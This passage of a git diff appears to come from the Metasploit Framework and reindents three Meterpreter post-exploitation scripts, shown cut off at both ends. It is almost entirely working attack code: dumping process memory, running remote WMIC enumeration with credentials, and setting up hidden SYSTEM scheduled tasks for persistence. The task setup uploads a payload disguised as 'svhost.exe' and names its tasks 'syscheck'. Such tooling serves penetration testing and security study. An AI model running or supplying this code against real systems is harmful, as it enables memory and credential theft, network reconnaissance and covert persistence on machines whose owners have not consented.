"_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump') - # Create the log directory - ::FileUtils.mkdir_p(logs) - #Dump file name - dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp" - print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}") - begin - dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ) - rescue - print_error("Could not open process for reading memory!") - raise Rex::Script::Completed - end - # MaximumApplicationAddress for 32bit or close enough - maximumapplicationaddress = 2147418111 - base_size = 0 - while base_size < maximumapplicationaddress - mbi = dump_process.memory.query(base_size) - # Check if Allocated - if mbi["Available"].to_s == "false" - file_local_write(dumpfile,mbi.inspect) if toggle - file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"])) - print_status("\tbase size = #{base_size/1024}") - end - base_size += mbi["RegionSize"] - end - print_status("Saving Dumped Memory to #{dumpfile}") + host,port = @client.session_host, session.session_port + # Create Filename info to be appended to created files + filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create a directory for the logs + logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump') + # Create the log directory + ::FileUtils.mkdir_p(logs) + #Dump file name + dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp" + print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}") + begin + dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ) + rescue + print_error("Could not open process for reading memory!") + raise Rex::Script::Completed + end + # MaximumApplicationAddress for 32bit or close enough + maximumapplicationaddress = 2147418111 + base_size = 0 + while base_size < maximumapplicationaddress + mbi = dump_process.memory.query(base_size) + # Check if Allocated + if mbi["Available"].to_s == "false" + file_local_write(dumpfile,mbi.inspect) if toggle + file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"])) + print_status("\tbase size = #{base_size/1024}") + end + base_size += mbi["RegionSize"] + end + print_status("Saving Dumped Memory to #{dumpfile}") end # Function to query process Size def get_mem_usage( pid ) - p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ ) - if( p ) - begin + p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ ) + if( p ) + begin - if( not @client.railgun.get_dll( 'psapi' ) ) - @client.railgun.add_dll( 'psapi' ) - end + if( not @client.railgun.get_dll( 'psapi' ) ) + @client.railgun.add_dll( 'psapi' ) + end - # http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx - if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] ) - @client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [ - [ "HANDLE", "hProcess", "in" ], - [ "PBLOB", "ProcessMemoryCounters", "out" ], - [ "DWORD", "Size", "in" ] - ] - ) - end + # http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx + if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] ) + @client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [ + [ "HANDLE", "hProcess", "in" ], + [ "PBLOB", "ProcessMemoryCounters", "out" ], + [ "DWORD", "Size", "in" ] + ] + ) + end - r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 ) - if( r['return'] ) - pmc = r['ProcessMemoryCounters'] - # unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx) - # Note: As we get the raw structure back from railgun we need to account - # for SIZE_T variables being 32bit on x86 and 64bit on x64 - mem = nil - if( @client.platform =~ /win32/ ) - mem = pmc[12..15].unpack('V').first - elsif( @client.platform =~ /win64/ ) - mem = pmc[16..23].unpack('Q').first - end - return (mem/1024) - end - rescue - p "Exception - #{$!}" - end + r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 ) + if( r['return'] ) + pmc = r['ProcessMemoryCounters'] + # unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx) + # Note: As we get the raw structure back from railgun we need to account + # for SIZE_T variables being 32bit on x86 and 64bit on x64 + mem = nil + if( @client.platform =~ /win32/ ) + mem = pmc[12..15].unpack('V').first + elsif( @client.platform =~ /win64/ ) + mem = pmc[16..23].unpack('Q').first + end + return (mem/1024) + end + rescue + p "Exception - #{$!}" + end - p.close - end + p.close + end - return nil + return nil end # Main if client.platform =~ /win32|win64/ - if resource - resource.each do |r| - next if r.strip.length < 1 - next if r[0,1] == "#" - print_status("Dumping memory for #{r.chomp}") if not query - pids = find_pids(r.chomp) - if pids.length == 0 - print_status("\tProcess #{r.chomp} not found!") - next - end - pids.each do |p| - print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query - dump_mem(p,r.chomp,toggle) if not query - end - end - elsif pid - name = find_procname(pid) - print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query - print_status("Dumping memory for #{name}") if not query - dump_mem(pid,name,toggle) if not query - elsif name - print_status("Dumping memory for #{name}") if not query - find_pids(name).each do |p| - print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query - dump_mem(p,name,toggle) if not query - end - else - usage - end + if resource + resource.each do |r| + next if r.strip.length < 1 + next if r[0,1] == "#" + print_status("Dumping memory for #{r.chomp}") if not query + pids = find_pids(r.chomp) + if pids.length == 0 + print_status("\tProcess #{r.chomp} not found!") + next + end + pids.each do |p| + print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query + dump_mem(p,r.chomp,toggle) if not query + end + end + elsif pid + name = find_procname(pid) + print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query + print_status("Dumping memory for #{name}") if not query + dump_mem(pid,name,toggle) if not query + elsif name + print_status("Dumping memory for #{name}") if not query + find_pids(name).each do |p| + print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query + dump_mem(p,name,toggle) if not query + end + else + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb index 873d989682..390ee6b99a 100644 --- a/scripts/meterpreter/remotewinenum.rb +++ b/scripts/meterpreter/remotewinenum.rb @@ -9,10 +9,10 @@ rpass = nil trg = "" # Script Options @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-t" => [ true, "The target address"], - "-u" => [ true, "User on the target system (If not provided it will use credential of process)"], - "-p" => [ true, "Password of user on target system"] + "-h" => [ false, "Help menu."], + "-t" => [ true, "The target address"], + "-u" => [ true, "User on the target system (If not provided it will use credential of process)"], + "-p" => [ true, "Password of user on target system"] ) # Create Filename info to be appended to downloaded files @@ -26,163 +26,163 @@ logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum') # WMIC Commands that will be executed on the Target wmic = [ - 'environment list', - 'share list', - 'nicconfig list', - 'computersystem list', - 'useraccount list', - 'group list', - 'sysaccount list', - 'volume list brief', - 'logicaldisk get description,filesystem,name,size', - 'netlogin get name,lastlogon,badpasswordcount', - 'netclient list brief', - 'netuse get name,username,connectiontype,localname', - 'share get name,path', - 'nteventlog get path,filename,writeable', - 'service list brief', - 'process list brief', - 'startup list full', - 'rdtoggle list', - 'product get name,version', - 'qfe list' + 'environment list', + 'share list', + 'nicconfig list', + 'computersystem list', + 'useraccount list', + 'group list', + 'sysaccount list', + 'volume list brief', + 'logicaldisk get description,filesystem,name,size', + 'netlogin get name,lastlogon,badpasswordcount', + 'netclient list brief', + 'netuse get name,username,connectiontype,localname', + 'share get name,path', + 'nteventlog get path,filename,writeable', + 'service list brief', + 'process list brief', + 'startup list full', + 'rdtoggle list', + 'product get name,version', + 'qfe list' ] ################## Function Declarations ################## # Function for running a list of WMIC commands stored in a array, returs string def wmicexec(session,wmic,user,pass,trgt) - print_status("Running WMIC Commands ....") - tmpout = '' - command = nil - runfail = 0 - runningas = session.sys.config.getuid - begin - tmp = session.fs.file.expand_path("%TEMP%") - # Temporary file on windows host to store results - wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" + print_status("Running WMIC Commands ....") + tmpout = '' + command = nil + runfail = 0 + runningas = session.sys.config.getuid + begin + tmp = session.fs.file.expand_path("%TEMP%") + # Temporary file on windows host to store results + wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" - wmic.each do |wmi| - if user == nil - print_status("The commands will be ran under the credentials of #{runningas}") - command = "/node:#{trgt} /append:#{wmicfl} #{wmi}" - else - command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}" - end - print_status "\trunning command wimic #{wmi}" - r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - #print_status "\twmic #{command}" - r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true}) - #Making sure that wmic finishes before executing next wmic command - prog2check = "wmic.exe" - found = 0 - sleep(2) - while found == 0 - session.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - end - # Read the output file of the wmic commands - wmioutfile = session.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - # Close output file in host - wmioutfile.close - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end - # We delete the file with the wmic command output. - c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) - c.close - tmpout + wmic.each do |wmi| + if user == nil + print_status("The commands will be ran under the credentials of #{runningas}") + command = "/node:#{trgt} /append:#{wmicfl} #{wmi}" + else + command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}" + end + print_status "\trunning command wimic #{wmi}" + r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) + sleep(1) + r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'}) + sleep(1) + r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) + sleep(1) + #print_status "\twmic #{command}" + r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true}) + #Making sure that wmic finishes before executing next wmic command + prog2check = "wmic.exe" + found = 0 + sleep(2) + while found == 0 + session.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + sleep(0.5) + found = 0 + end + end + end + r.close + end + # Read the output file of the wmic commands + wmioutfile = session.fs.file.new(wmicfl, "rb") + until wmioutfile.eof? + tmpout << wmioutfile.read + end + # Close output file in host + wmioutfile.close + rescue ::Exception => e + print_status("Error running WMIC commands: #{e.class} #{e}") + end + # We delete the file with the wmic command output. + c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) + c.close + tmpout end #------------------------------------------------------------------------------ # Function to generate report header def headerbuid(session,target,dest) - # Header for File that will hold all the output of the commands - info = session.sys.config.sysinfo - header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n" - header << "Running as: #{client.sys.config.getuid}\n" - header << "From: #{info['Computer']}\n" - header << "OS: #{info['OS']}\n" - header << "Target: #{target}\n" - header << "\n\n\n" + # Header for File that will hold all the output of the commands + info = session.sys.config.sysinfo + header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n" + header << "Running as: #{client.sys.config.getuid}\n" + header << "From: #{info['Computer']}\n" + header << "OS: #{info['OS']}\n" + header << "Target: #{target}\n" + header << "\n\n\n" - print_status("Saving report to #{dest}") - header + print_status("Saving report to #{dest}") + header end #------------------------------------------------------------------------------ # Function Help Message def helpmsg - print("Remote Windows Enumeration Meterpreter Script\n" + - "This script will enumerate windows hosts in the target enviroment\n" + - "given a username and password or using the credential under witch\n" + - "Meterpeter is running using WMI wmic windows native tool.\n" + - "Usage:\n" + - @@exec_opts.usage) + print("Remote Windows Enumeration Meterpreter Script\n" + + "This script will enumerate windows hosts in the target enviroment\n" + + "given a username and password or using the credential under witch\n" + + "Meterpeter is running using WMI wmic windows native tool.\n" + + "Usage:\n" + + @@exec_opts.usage) end ################## MAIN ################## if client.platform =~ /win32|win64/ - localos = session.sys.config.sysinfo + localos = session.sys.config.sysinfo - # Check that the command is not being ran on a Win2k host - # since wmic is not present in Windows 2000 - if localos =~ /(Windows 2000)/ - print_status("This script is not supported to be ran from Windows 2000 servers!!!") - else - # Parsing of Options - @@exec_opts.parse(args) { |opt, idx, val| - case opt + # Check that the command is not being ran on a Win2k host + # since wmic is not present in Windows 2000 + if localos =~ /(Windows 2000)/ + print_status("This script is not supported to be ran from Windows 2000 servers!!!") + else + # Parsing of Options + @@exec_opts.parse(args) { |opt, idx, val| + case opt - when "-t" - trg = val - when "-u" - rusr = val - when "-p" - rpass = val - when "-h" - helpmsg - helpcall = 1 - end + when "-t" + trg = val + when "-u" + rusr = val + when "-p" + rpass = val + when "-h" + helpmsg + helpcall = 1 + end - } - #logfile name - dest = logs + "/" + trg + filenameinfo - # Executing main logic of the script - if helpcall == 0 and trg != "" + } + #logfile name + dest = logs + "/" + trg + filenameinfo + # Executing main logic of the script + if helpcall == 0 and trg != "" - # Making sure that is running as System a Username and Password for target machine must be provided + # Making sure that is running as System a Username and Password for target machine must be provided - if is_system? && rusr == nil && rpass == nil + if is_system? && rusr == nil && rpass == nil - print_status("Stopped: Running as System and no user provided for connecting to target!!") + print_status("Stopped: Running as System and no user provided for connecting to target!!") - else trg != nil && helpcall != 1 + else trg != nil && helpcall != 1 - file_local_write(dest,headerbuid(session,trg,dest)) - file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg)) + file_local_write(dest,headerbuid(session,trg,dest)) + file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg)) - end - elsif helpcall == 0 and trg == "" + end + elsif helpcall == 0 and trg == "" - helpmsg - end - end + helpmsg + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb index 7134005e98..adc89c5150 100644 --- a/scripts/meterpreter/scheduleme.rb +++ b/scripts/meterpreter/scheduleme.rb @@ -11,180 +11,180 @@ ################## Variable Declarations ################## session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-c" => [ true,"Command to execute at the given time. If options for execution needed use double quotes"], - "-d" => [ false,"Daily." ], - "-hr" => [ true,"Every specified hours 1-23."], - "-m" => [ true, "Every specified amount of minutes 1-1439"], - "-e" => [ true, "Executable or script to upload to target host, will not work with remote schedule"], - "-l" => [ false,"When a user logs on."], - "-o" => [ true,"Options for executable when upload method used"], - "-s" => [ false,"At system startup."], - "-i" => [ false,"Run command imediatly and only once."], - "-r" => [ false,"Remote Schedule. Executable has to be already on remote target"], - "-u" => [ false,"Username of account with administrative privelages."], - "-p" => [ false,"Password for account provided."], - "-t" => [ true,"Remote system to schedule job."] + "-h" => [ false,"Help menu." ], + "-c" => [ true,"Command to execute at the given time. If options for execution needed use double quotes"], + "-d" => [ false,"Daily." ], + "-hr" => [ true,"Every specified hours 1-23."], + "-m" => [ true, "Every specified amount of minutes 1-1439"], + "-e" => [ true, "Executable or script to upload to target host, will not work with remote schedule"], + "-l" => [ false,"When a user logs on."], + "-o" => [ true,"Options for executable when upload method used"], + "-s" => [ false,"At system startup."], + "-i" => [ false,"Run command imediatly and only once."], + "-r" => [ false,"Remote Schedule. Executable has to be already on remote target"], + "-u" => [ false,"Username of account with administrative privelages."], + "-p" => [ false,"Password for account provided."], + "-t" => [ true,"Remote system to schedule job."] ) ################## function declaration Declarations ################## def usage() - print_line("Scheduleme -- provides most common scheduling types used during a pentest") - print_line("This script can upload a given executable or script and schedule it to be") - print_line("executed. All scheduled task are run as System so the Meterpreter process") - print_line("must be System or local admin for local schedules and Administrator for") - print_line("remote schedules") - print_line(@@exec_opts.usage) + print_line("Scheduleme -- provides most common scheduling types used during a pentest") + print_line("This script can upload a given executable or script and schedule it to be") + print_line("executed. All scheduled task are run as System so the Meterpreter process") + print_line("must be System or local admin for local schedules and Administrator for") + print_line("remote schedules") + print_line(@@exec_opts.usage) end #--------------------------------------------------------------------------------------------------------- def scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) - execmd = "" - success = false - taskname = "syscheck#{rand(100)}" - if cmdopt != nil - cmd = "#{cmd} #{cmdopt}" - end - case schtype - when "startup" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system /u #{username} /p #{password}" - end - when "login" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system /u #{username} /p #{password}" - end - when "hourly" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /u #{username} /p #{password}" - end - when "daily" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /u #{username} /p #{password}" - end - when "minute" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /u #{username} /p #{password}" - end - when "now" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00 /u #{username} /p #{password}" - end - end - print_status("Scheduling command #{cmd} to run #{schtype}.....") - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - if username == nil - print_status("For cleanup run schtasks /delete /tn #{taskname} /F") - else - print_status("For cleanup run schtasks /delete /tn #{taskname} /u #{username} /p #{password} /F") - end - success = true - end - end - if !success - print_status("Failed to create scheduled task!!") - elsif success && schtype == "now" - if username == nil - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname}") - else - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /u #{username} /p #{password}") - end - end - r.channel.close - r.close + execmd = "" + success = false + taskname = "syscheck#{rand(100)}" + if cmdopt != nil + cmd = "#{cmd} #{cmdopt}" + end + case schtype + when "startup" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system /u #{username} /p #{password}" + end + when "login" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system /u #{username} /p #{password}" + end + when "hourly" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /u #{username} /p #{password}" + end + when "daily" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /u #{username} /p #{password}" + end + when "minute" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /u #{username} /p #{password}" + end + when "now" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00 /u #{username} /p #{password}" + end + end + print_status("Scheduling command #{cmd} to run #{schtype}.....") + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + if username == nil + print_status("For cleanup run schtasks /delete /tn #{taskname} /F") + else + print_status("For cleanup run schtasks /delete /tn #{taskname} /u #{username} /p #{password} /F") + end + success = true + end + end + if !success + print_status("Failed to create scheduled task!!") + elsif success && schtype == "now" + if username == nil + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname}") + else + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /u #{username} /p #{password}") + end + end + r.channel.close + r.close end #--------------------------------------------------------------------------------------------------------- def scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password) - execmd = "" - success = false - taskname = "syscheck#{rand(100)}" - if cmdopt != nil - cmd = "#{cmd} #{cmdopt}" - end - case schtype - when "startup" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /ru system " - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /u #{username} /p #{password} /ru system " - end - when "login" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /ru system " - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /u #{username} /p #{password} /ru system " - end - when "hourly" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys}" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" - end - when "daily" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys}" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" - end - when "minute" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys}" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" - end - when "now" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00 /u #{username} /p #{password}" - end - end - print_status("Scheduling command #{cmd} to run #{schtype}.....") - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - print_status("For cleanup run schtasks /delete /tn #{taskname} /s #{targetsys} /u #{username} /p #{password} /F") - success = true - end - end - if !success - print_status("Failed to create scheduled task!!") - elsif success && schtype == "now" - if username == nil - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys}") - else - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys} /u #{username} /p #{password}") - end - end - r.channel.close - r.close + execmd = "" + success = false + taskname = "syscheck#{rand(100)}" + if cmdopt != nil + cmd = "#{cmd} #{cmdopt}" + end + case schtype + when "startup" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /ru system " + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /u #{username} /p #{password} /ru system " + end + when "login" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /ru system " + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /u #{username} /p #{password} /ru system " + end + when "hourly" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys}" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" + end + when "daily" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys}" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" + end + when "minute" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys}" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" + end + when "now" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00 /u #{username} /p #{password}" + end + end + print_status("Scheduling command #{cmd} to run #{schtype}.....") + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + print_status("For cleanup run schtasks /delete /tn #{taskname} /s #{targetsys} /u #{username} /p #{password} /F") + success = true + end + end + if !success + print_status("Failed to create scheduled task!!") + elsif success && schtype == "now" + if username == nil + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys}") + else + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys} /u #{username} /p #{password}") + end + end + r.channel.close + r.close end #--------------------------------------------------------------------------------------------------------- def upload(session,file) - location = session.fs.file.expand_path("%TEMP%") - fileontrgt = "#{location}\\svhost#{rand(100)}.exe" - print_status("Uploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("#{file} uploaded!") - return fileontrgt + location = session.fs.file.expand_path("%TEMP%") + fileontrgt = "#{location}\\svhost#{rand(100)}.exe" + print_status("Uploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("#{file} uploaded!") + return fileontrgt end # Parsing of Options cmd = nil @@ -198,62 +198,62 @@ targetsys = nil username = nil password = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-c" - cmd = val - when "-e" - file = val - when "-d" - tmmod = val - schtype = "daily" - when "-hr" - tmmod = val - schtype = "hourly" - when "-m" - tmmod = val - schtype = "minute" - when "-s" - schtype = "startup" - when "-l" - schtype = "login" - when "-i" - schtype = "now" - when "-o" - cmdopt = val - when "-r" - remote = 1 - when "-t" - targetsys = val - when "-u" - username = val - when "-p" - password = val - when "-h" - helpcall = 1 - end + when "-c" + cmd = val + when "-e" + file = val + when "-d" + tmmod = val + schtype = "daily" + when "-hr" + tmmod = val + schtype = "hourly" + when "-m" + tmmod = val + schtype = "minute" + when "-s" + schtype = "startup" + when "-l" + schtype = "login" + when "-i" + schtype = "now" + when "-o" + cmdopt = val + when "-r" + remote = 1 + when "-t" + targetsys = val + when "-u" + username = val + when "-p" + password = val + when "-h" + helpcall = 1 + end } if client.platform =~ /win32|win64/ - if helpcall == 1 - usage() - elsif cmd == nil && file == nil - usage() - elsif !is_uac_enabled? and is_admin? - if file == nil - if remote == 0 - scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) - else - scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password) - end - else - cmd = upload(session,file) - scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) - end - else - print_status("Meterpreter is not running under sufficient administrative rights.") - end + if helpcall == 1 + usage() + elsif cmd == nil && file == nil + usage() + elsif !is_uac_enabled? and is_admin? + if file == nil + if remote == 0 + scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) + else + scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password) + end + else + cmd = upload(session,file) + 